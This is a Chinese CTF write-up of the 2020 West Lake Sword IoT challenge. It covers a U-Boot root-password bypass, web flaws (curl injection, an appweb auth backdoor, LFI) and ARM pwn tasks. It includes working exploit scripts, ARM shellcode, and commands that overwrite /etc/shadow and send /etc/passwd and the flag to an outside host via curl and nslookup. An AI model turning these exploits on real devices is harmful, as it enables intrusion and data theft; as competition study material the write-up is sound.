西湖论剑 2020 IoT闯关赛 赛后整理

本次IoT闯关赛为西湖论剑的其中一个赛项,由安恒的海特实验室出题,时长8小时,采用定制硬件为解题平台,玩法新颖,题目底座为linux5.4.75:libc2.30:armv5。但考察点偏CTF风格,与IoT安全实战尚有一定距离,最终赛况如下:

image

物料

闯关赛的题目需要烧写到一个板子上,也就是选手的胸卡:【集赞福利】全球限量版“西湖论剑”IoT闯关赛神秘硬件!。这张胸卡的主控芯片为全志的F1C200s,留出了UART和OTA的接口,而且是直接使用micro USB接口,即UART转USB的功能已经做到板子上了,不需要TTL转接了。OTA接口在题目下的工作模式为USB网卡,可以直接给主机DHCP分配IP地址,板子的IP地址固定为20.20.11.14,故这俩USB直接接到主机上即可,UART用串口工具直接看,OTA是网卡。另外板子上还集成了ATmega328P,不过并明白他和主控是怎么一同使用的:

image

另外还发了其他的一些东西:排线,杜邦线,转接板,USB-TTL转接器,USB-ISP下载器,DVB-T+FM+DAB电视棒,TF卡以及micro USB的连接线

image

不过除了micro USB的连接线和电视棒,剩下的一概没用上。

密码绕过

使用串口工具连接板子,波特率115200,mac下可以自带工具:

ls /dev | grep serial
cu.usbserial-02133E1A
tty.usbserial-02133E1A
➜  screen -L /dev/tty.usbserial-02133E1A  115200  -L

等题目启动完后,串口是有密码的:

Welcome to Hatlab BADGE200
badge200 login: root
Password: 

赛后提供了root密码:1864a64aa761b0e4,那比赛时此密码能否绕过呢?

绕过方法

uboot是启动linux内核前的引导,为内核启动提供参数。uboot阶段,其对整个系统可以进行完整的控制。故如果可以在uboot阶段拿到控制权,即uboot的shell,则可以有非常多的办法绕过之后启动的linux的权限认证。

因为串口是没有禁止输入的,而且uboot是可以被中断的,故完全可以使用uboot绕过密码。那如何进入uboot的shell呢?在板子上按reset重启,然后串口工具中快速按回车进入uboot命令行,可以使用help命令列出uboot的功能:

=> help
?         - alias for 'help'
base      - print or set address offset
bdinfo    - print Board Info structure
blkcache  - block cache diagnostics and control
boot      - boot default, i.e., run 'bootcmd'
bootd     - boot default, i.e., run 'bootcmd'
bootelf   - Boot from an ELF image in memory
bootm     - boot application image from memory
bootvx    - Boot vxWorks from an ELF image
bootz     - boot Linux zImage image from memory
chpart    - change active partition
clrlogo   - fill the boot logo area with black
cmp       - memory compare
coninfo   - print console devices and information
cp        - memory copy
crc32     - checksum calculation
dfu       - Device Firmware Upgrade
dm        - Driver model low level access
echo      - echo args to console
editenv   - edit environment variable
env       - environment handling commands
erase     - erase FLASH memory
exit      - exit script
ext2load  - load binary file from a Ext2 filesystem
ext2ls    - list files in a directory (default /)
ext4load  - load binary file from a Ext4 filesystem
ext4ls    - list files in a directory (default /)
ext4size  - determine a file's size
false     - do nothing, unsuccessfully
fatinfo   - print information about filesystem
fatload   - load binary file from a dos filesystem
fatls     - list files in a directory (default /)
fatmkdir  - create a directory
fatrm     - delete a file
fatsize   - determine a file's size
fatwrite  - write file into a dos filesystem
fdt       - flattened device tree utility commands
flinfo    - print FLASH memory information
fstype    - Look up a filesystem type
go        - start application at address 'addr'
gpio      - query and control gpio pins
gpt       - GUID Partition Table
help      - print command description/usage
iminfo    - print header information for application image
imxtract  - extract a part of a multi-image
itest     - return true/false on integer compare
ln        - Create a symbolic link
load      - load binary file from a filesystem
loadb     - load binary file over serial line (kermit mode)
loads     - load S-Record file over serial line
loadx     - load binary file over serial line (xmodem mode)
loady     - load binary file over serial line (ymodem mode)
loop      - infinite loop on address range
ls        - list files in a directory (default /)
md        - memory display
mm        - memory modify (auto-incrementing address)
mmc       - MMC sub system
mmcinfo   - display MMC info
mtd       - MTD utils
mtdparts  - define flash/nand partitions
mw        - memory write (fill)
nm        - memory modify (constant address)
part      - disk partition related commands
printenv  - print environment variables
protect   - enable or disable FLASH write protection
random    - fill memory with random pattern
reset     - Perform RESET of the CPU
run       - run commands in an environment variable
save      - save file to a filesystem
setenv    - set environment variables
setexpr   - set environment variable as the result of eval expression
sf        - SPI flash sub-system
showvar   - print local hushshell variables
size      - determine a file's size
sleep     - delay execution for some time
source    - run script from memory
sysboot   - command to get and boot from syslinux files
test      - minimal test like /bin/sh
true      - do nothing, successfully
ums       - Use the UMS [USB Mass Storage]
usb       - USB sub-system
usbboot   - boot from USB device
version   - print monitor, compiler and linker version

然后输入如下两条命令,长的命令需要多次复制(不知道原因)

=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot

启动后进入没有题目的root shell,此时板子还没有ip地址,直接复制如下命令(全部复制),粘贴到shell里:

#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

然后用root:root应该就可以登录串口了,并且此时板子20.20.11.14应该已经可以ping通了,默认是开了ssh的,故也可以登录了

启动分析

要理解上面的绕过方法,必须了解此系统是如何正常启动的。不过因为正常启动我们并拿不到shell,所以还是要利用uboot修改init变量进入到linux的shell中。分析启动就是分析这个init本来是啥?可以在uboot启动的时候观察环境变量,由于环境变量较多,有所过滤:

U-Boot 2020.07 (Nov 13 2020 - 15:01:11 +0800) Allwinner Technology

CPU:   Allwinner F Series (SUNIV)
Model: Allwinner F1C100s Generic Device
DRAM:  64 MiB
MMC:   mmc@1c0f000: 0, mmc@1c10000: 1
Setting up a 800x480 lcd console (overscan 0x0)
In:    serial
Out:   vga
Err:   vga
Allwinner mUSB OTG (Peripheral)
Hit any key to stop autoboot:  0
=> printenv bootargs_common
bootargs_common=console=ttyS0,115200 earlyprintk rootwait init=/preinit consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2

可见init变量设置为/preinit,这个玩意是啥,目前还不得而知,不过我们可以使用setenvuboot命令,将init的值改为/bin/sh,然后使用boot命令,即可继续进行启动流程

=> setenv bootargs_common "console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2"
=> boot

启动之后我们就拿到了一个root shell,但是发现此时板子的网络还不通,题目也没起起来,文件系统挂载的也没有很清晰:

$ mount
mount: no /proc/mounts
$ ls /proc

不过我们在根目录下看到了preinit这个文件,发现是个sh脚本:

$ cat preinit
#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

看不太懂这个脚本,尤其是这个for循环:

mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)

不过可以先看一下proc/cmdline里有啥,发现应该就是启动内核的参数:

$ mount proc /proc -t proc
$ cat /proc/cmdline
console=ttyS0,115200 earlyprintk rootwait init=/bin/sh consoleblank=0 net.ifnames=0 biosdevname=0 rootfstype=jffs2 root=/dev/mtdblock3 overlayfsdev=/dev/mtdblock5

至于set --,$@=*)等参考:

大概应该就是解析内核的启动参数,找到overlayfsdev对应的值,即:/dev/mtdblock5,然后一顿挂载,替换完变量如下:

mtd erase /dev/mtd5
mount -n -t jffs2 /dev/mtdblock5 -o rw,noatime /overlay
mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
mount --rbind /dev /tmp/dev/
mount --rbind /overlay /tmp/overlay/
mount --rbind / /tmp/overlay/rom/lower
exec chroot /tmp /sbin/init

overlayfs这玩意比较绕,总之就是把根目录扔到/tmp目录下然后在chroot进去然后init,对于init程序的理解可以参考:

找到关键文件/tmp/etc/init.d/S99application,看完恍然大悟:

$ cat S99application 
#!/bin/sh
#
# Start Application....
#

start() {
    printf "Starting Application: "
    mkdir -p /overlay/extra/lower /overlay/extra/upper /overlay/extra/work
    mkdir -p /workspace
    mount -o ro /dev/mtdblock4 /overlay/extra/lower
    mount -n -t overlay overlayfs:/overlay/extra -o rw,noatime,lowerdir=/overlay/extra/lower,upperdir=/overlay/extra/upper,workdir=/overlay/extra/work /workspace
    echo 401 > /sys/class/gpio/export
    echo high > /sys/class/gpio/gpio401/direction
    cd /workspace
    /workspace/start.sh
    [ $? = 0 ] && echo "OK" || echo "FAIL"
}

stop() {
    printf "Stopping Application: "
    cd /workspace
    /workspace/stop.sh
    [ $? = 0 ] && echo "OK" || echo "FAIL"
}

case "$1" in
    start)
    start
    ;;
    stop)
    stop
    ;;
    restart|reload)
    stop
    sleep 1
    start
    ;;
  *)
    echo "Usage: $0 {start|stop|restart}"
    exit 1
esac

exit $?

原来/dev/mtdblock4才是题目存放的分区,系统进入chroot进入tmp后,执行/tmp/etc/init.d/中的初始化脚本,题目才被加载然后启动起来,网络也才正常启动。故完整的启动顺序如下:

uboot -> /preinit -> /tmp/sbin/init (/tmp/etc/init.d/*) -> /workspace/start.sh

回顾绕过

所以我们可以在chroot题目的根文件系统,即chroot /tmp目录之前,修改/tmp目录下文件系统的配置文件,也就是在preinit环节做手脚:

echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
exec chroot /tmp /sbin/init

一般来说修改完uboot的init应该就已经进入了linux正常的shell,但是这里的题目又套了一层,所以需要在中间做手脚。这才有了如下的脚本:

#!/bin/sh
mount proc /proc -t proc
set -- $(cat /proc/cmdline)
umount /proc
for x in "$@"; do
    case "$x" in
        overlayfsdev=*)
        OVERLAYFSDEV="${x#overlayfsdev=}"
        mtd erase /dev/mtd5
        mount -n -t jffs2 ${OVERLAYFSDEV} -o rw,noatime /overlay
        mkdir -p /overlay/rom/lower /overlay/rom/upper /overlay/rom/work
        mount -n -t overlay overlayfs:/overlay/rom -o rw,noatime,lowerdir=/,upperdir=/overlay/rom/upper,workdir=/overlay/rom/work /tmp
        mount --rbind /dev /tmp/dev/
        mount --rbind /overlay /tmp/overlay/
        mount --rbind / /tmp/overlay/rom/lower
        echo 'root:$1$NqxdI63c$nzvMkcJxzktGW6Tsgw3jb0:1::::::' > /tmp/etc/shadow
        exec chroot /tmp /sbin/init
        ;;
    esac
done
exec /sbin/init

热身赛

总共4道题,题目开在板子的80端口的网页上,为了让选手熟悉硬件操作流程

  1. 手机改个蓝牙名字让板子搜索到
  2. 串口回板子个数据
  3. 把GPIO的电平拉低,短接
  4. 登录提示用户名或密码错误,即用户名:或,密码:错误,登录即可

其中第三题GPIO给了提示,对于ATmega328P,GPIO是PC3。故目标不是全志的F1C200s,而是ATmega328P,故找到其datasheet,用镊子短接PC3和地即可:

image

闯关赛:Web

官方WP:2020西湖论剑IoT闯关赛回顾&Writeup(嵌入式Web部分)

本节Web方向内容由淼哥提供:西湖论剑2020-IoT闯关赛-WEB-WriteUp

IoT-Web1 版本更新

题目说明:路由器在检测版本更新的过程中,出现了一个意料之外的问题。题目端口80(flag在根目录或者/workspace下)

思路

出题人没有给固件或者binary,考点是黑盒测试。
但是IoT设备的安全研究可以通过很多方法获取到固件或者shell,例如上述的方法获得了shell,该题的难度就大大降低了。

分步解答

(1)参数注入

通过admin:admin就可以登录后台,跳转到 http://20.20.11.14/checkupdate.php?url=firmware.bin,没有其它的页面内容了,也就是说入口点就这一个url参数。
拿到shell后我们可以看到代码如下:

<?php

// session_start();

print "Content-type: text/html; charset=utf-8\n\n";
// if(empty($_SESSION['name'])){
//     echo "login first";
    //exit();
    //whataver  just do it lucky guy
// }
$url =$_ENV['CGI_URL'];


$cmd = "curl http://x11router.com/".$url." -o /tmp/test.bin ";
$cmd = escapeshellcmd($cmd);
#echo $cmd."\n";
shell_exec($cmd);
echo "Done";

//when we can't unpack the firmware or no firmware, we usually pentest to get shell first.
//hint : do u know rpc on this server ? get root shell

主要就是curl参数注入漏洞,需要逃逸escapeshellcmd()检测,一个思路参数注入逃逸,通过注入相关参数进行利用;二是通过%0d%0a换行进行分割逃逸执行命令。
后续的利用主要通过%0d%0a。
文件读取 PoC。
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/etc/passwd
读取flag读取不出,通过checkupdage.php最后两行提示也说明,当前用户没有权限读取flag,需要我们找个其它进程提高权限。

(2)寻找rpc高权限进程

黑盒的方式,可能要/proc/pid/cmdline遍历查找高权限的进程。
如果拿到shell,ps就可以发现,executeproxynew
image 本地开放9998端口
image 我们可以通过 http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -F "file=@/workspace/data/executeproxynew" 将binary传出来进行分析。

(3)逆向分析executeproxynew

该程序监听在9998的tcp端口,需要过个认证,提取命令执行,前两个字节看出题人的意图是后面payload的长度,但最后是取地址,数值会很大,所以任意两位就可。
image 最终执行的PoC:
11P4ss1:whoami|whomai|whomai|touch /tmp/re|

(4)利用链

通过上述方法,我先通过curl -X发送到9998端口执行chmod 777 /flag,然后在通过curl读取flag。
修改权限:
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://127.0.0.1:9998/ -X "12P4ss1:whoami|whomai|whomai|whoami|chmod 777 /flag|" image
读取flag
http://20.20.11.14/checkupdate.php?url=%0d%0acurl http://20.20.11.13:8000/ -X POST --data @/flag image

IoT-Web2 伪造登录

题目说明:成为管理员就可以读取flag,题目端口80(flag在根目录或者/workspace下)

思路

提给出了3个binary,data.out,login.out,readflag.out,需要获得管理权限,然后运行readflag.out读取flag。

分步解答

(1)login.out分析

name,pass参数传递用户名和密码。
判断用户名和密码hash都写死了,之后生成个/tmp/sess_xxx作为session缓存。
image

(2)data.out分析

这个文件存在命令注入,可以读取序列号shln12345678,和主页显示的序列号shlj12345678不一样,一度被这点误导一直在通过序列号进行密码拼接碰撞hash密码。
其实想通过sqlite注入写文件,用户名和密码又是写死的,感觉这硬拼凑在一起的,毫无逻辑关系。

(3)readflag.out 分析

这块判断sesion时候,是在1024字节内是否有:,然后判断后面字符是否admin,这个逻辑点也有点牵强,正常attach的sqlite的数据库大小超过1024字节了,保存的user:admin字符就在1024字节后。
需要限制数据库的大小,通过page_size=512;可以限制大小。
image

(4)利用链

通过sqlite注入写session缓存文件。
image 在设置cookie去读取flag。 image

IoT-web3 后门账号

题目说明:路由器管理后台被攻陷,运维加了个访问认证,可惜中间件被黑客植入了后门账号。题目端口80(flag在根目录或者/workspace下)

思路

登录发现,该网站主要通过basic认证方式,appweb中间件,需要找到认证后门。一是直接定位相关认证逻辑代码。可以对比源码来寻找差别。二是直接编译appweb进行bindiff查找不同。

分步解答

(1)认证后门

我们可以通过CVE-2018-8715发现,验证逻辑代码函数httpLogin()。

在libhttp.so中,添加了一句,只要第二位开始是Mon就可以绕过认证。 aMondmin:123456 image

(2)php包含漏洞

直接跳转到的页面。
很明显存在个php本地包含漏洞,利用/proc/self/environ即可。
LFI通过/proc/self/environ直接获取webshell index.php

<?php
print "Content-type: text/html; charset=utf-8\n\n";
echo "<script> document.location.href='action.php?action=echo.php';</script>";

atcion.php

<?php
print "Content-type: text/html; charset=utf-8\n\n";

$d=$_ENV['CGI_ACTION'];
include $d;

echo.php

<?php
    echo "<center><h1>very easy dont think too much</h1></center>";

获取flag位置。 image 读取flag

闯关赛:Pwn

吐槽一下,就没在IoT设备上见过这么高版本的libc,居然是2.30

有两个Web和三个Pwn的附件:IoT_attachment.zip

板子上的linux是开了随机化保护的:

$ cat /proc/sys/kernel/randomize_va_space
1

babyboa

目标是开在80端口的boa,与源码对比一下非常容易发现,basic认证处sprintf存在栈溢出,a3,a4是base64解码后的用户名和密码,无论你是用户名长还是密码长都能溢出到这个点:

bool __fastcall sub_1D1AC(int a1, const char *a2, const char *a3, const char *a4)
{
  char s[308]; // [sp+4h] [bp-134h] BYREF

  sprintf(s, "%s:%s", a3, a4);
  return strcmp(s, a2) == 0;
}

不过因为是sprintf,故需要绕过00,但是因为开启了地址随机化,无法使用libc的gadget,于是就只能使用一条gadget来完成利用,并且无法在这个gadget之后布置数据,因为已经被截断了。这条gadget类似one_gadget效果,不过这里并不是execve(“/bin/sh”)这种,因为你和boa是真正的网络交互,而不是把标准输入输出重定向给网络,所以你需要找到一个能力非常强的gadget,想办法通过各种信道把flag送出来。但按道理这种gadget是不存在的,不可能天然存在这么定制的gadget。比赛结束后在4哥的提示下说找system函数,于是找到如下代码段:

.text:0001D2DC                 LDR     R6, [R6,#0x10]
.text:0001D2E0                 MOV     R0, R6,LSR#8    ; command
.text:0001D2E4                 BL      system

相面后的结论是,这就是纯造出来的gadget:

  1. 调试发现在栈溢出发生时,R6是指向base64解码后的认证数据,故使用此gadget我们可以控制R6寄存器的值
  2. 我们解码后的数据会被拷贝到一个固定的bss地址,虽然bss地址是带00的,不过没关系,R6将右移8位再给R0
  3. 如果把R0成功的指向上述bss地址,则可以任意命令执行

目前来看应该只有这一种解法,具体可以参考航哥的WP:西湖论剑IoT闯关赛-babyboa。不过这里我想分享一些命令执行后获取flag个办法,即回答上面的问题,我到底要通过什么信道将flag送出来?cat flag 肯定是没用的,因为boa起的sh子进程的标准输入输出你是看不到的。看看板子的实物,我们与板子有两根线相连,一根uart是串口,一根otg是网口,那flag肯定就从这两根线出来。于是对于两根线我分别到想了两种办法:

  1. 串口:直接输出flag到串口,修改串口的登录密码
  2. 网口:DNS,curl

最终exp如下,四种方式获取flag依次执行:

import requests
from pwn import *
from requests.auth import *

command  = "cat /workspace/flag > /dev/console;"
command += 'echo "root::::::::" > /etc/shadow;'
command += "nslookup `cat /workspace/flag` 20.20.11.13;"
command += "curl 20.20.11.13:1111 -T /workspace/flag;"

bss_pass = 0x434F8
r6r0_sys = 0x1D2DC

username = "a"*0x10+p32((bss_pass<<8)+0x11)
password = command.ljust(0x11b,"a")+p32(r6r0_sys)

requests.get('http://20.20.11.14/', auth=HTTPBasicAuth(username,password))

messageBox

协议逆向,目标为使用TCP:6780端口的服务端程序,接受符合自定义协议的客户端请求,是真正的网络接口,而不是像大部分Pwn题:将标准输入输出映射到网络接口上。检查发现没去符号,难度系数低于实际设备的逆向分析:

  file messageBox
messageBox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
  checksec messageBox
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

逆向过程较为简单,故略,协议格式为:

# big endian
fixed string[6 byte] + length[2 byte] + func code[2 byte] + crc[4 byte] + func data

一开始卡在crc校验总是算不对,本地调试发现长度的两个字节如果有00直接就被截断了,导致后面的正文数据压根没进行校验,所以需要将长度填满到两个字节。预期解应该是各种绕过使用后面的命令执行读取flag,但可以使用readFile功能直接直接读flag。即本题没有用到内存破坏漏洞的利用方式,而是直接使用程序的功能完成利用,exp如下:

from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("20.20.11.14",6780)
payload = "readFile:"+"/"*0x100+"/workspace/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("H4bL1b"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()

ezArmpwn

前两题都是真正的网络交互,即目标程序里写的就是网络接口,这题又回到了经典CTF,nc连上就是菜单,故应该是最后execve("/bin/sh")就完事了。首先检查:开了NX,没去符号

 file pwn3
pwn3: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 5.4.0, not stripped
 checksec pwn3 
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

发现两个栈溢出,一个悬空指针,已知三种解法:

shellcode

别看题目开了NX,但是经过测试,这个保护并没有在这个板子上起作用。故可以用第一个栈溢出leak出栈地址,然后写shellcode到栈上,最终尝试:Linux/StrongARM - execve() - 47 bytes by funkysh此shellcode成功,真是strong的ARM…

from pwn import *
context(arch='arm',os='linux',log_level='debug')

io = remote("20.20.11.14",9999)
#io = process(["qemu-arm","-L","/usr/arm-linux-gnueabihf/","./pwn3"])
#io = process(["qemu-arm","-g","1234","-L","/usr/arm-linux-gnueabihf/","./pwn3"])

sla         = lambda delim,data          :  (io.sendlineafter(delim, data))
init        = lambda name,password       :  (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info        = lambda                     :  (sla("choice > ","2"))
modify      = lambda password            :  (sla("choice > ","3"),sla("password:",password),sla("continue ...",""))

shellcode = "\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh"

# leak stack
init("a"*20,"xuan");info()
io.recvuntil("a"*20)
stack = u32(io.recv(4))

# send shellcode
modify(shellcode.ljust(64,"a")+p32(stack+0x70))

# trigger return to shellcode
sla("choice > ","4")
io.interactive()

ROP

先leak出libc,然后栈溢出重新回到main函数,然后再次栈溢出就可以利用libc里的gadget和system函数了:

from pwn import *
context(arch='arm',os='linux',log_level='debug')
p = remote('20.20.11.14', 9999)

sla         = lambda delim,data          :  (p.sendlineafter(delim, data))
sa          = lambda delim,data          :  (p.sendafter(delim, data))
init        = lambda name,password       :  (sla("username:",name),sla("password:",password),sla("again:",password),sla("continue ...",""))
info        = lambda                     :  (sla("choice > ","2"))
modify      = lambda password            :  (sla("choice > ","3"),sa("password:",password),sla("continue ...",""))

# leak libc
init("a","a");modify('a'*40);info()
p.recvuntil('a'*40)
libc   = u32(p.recv(4)) - 0x32248
binsh  = libc + 0x127F44
system = libc + 0x03A028 
rop    = libc + 0x07ba84  # pop {r0, r4, pc}

# overflow return to main
modify('a'*64 + p32(0x10E70))
sla("choice > ","4")

# again overflow to system("/bin/sh")
init('a' * 0x1c + p32(rop) + p32(binsh)*2 + p32(system),"")
p.interactive()

UAF

西湖论剑IoT闯关赛复现: ezarmpwn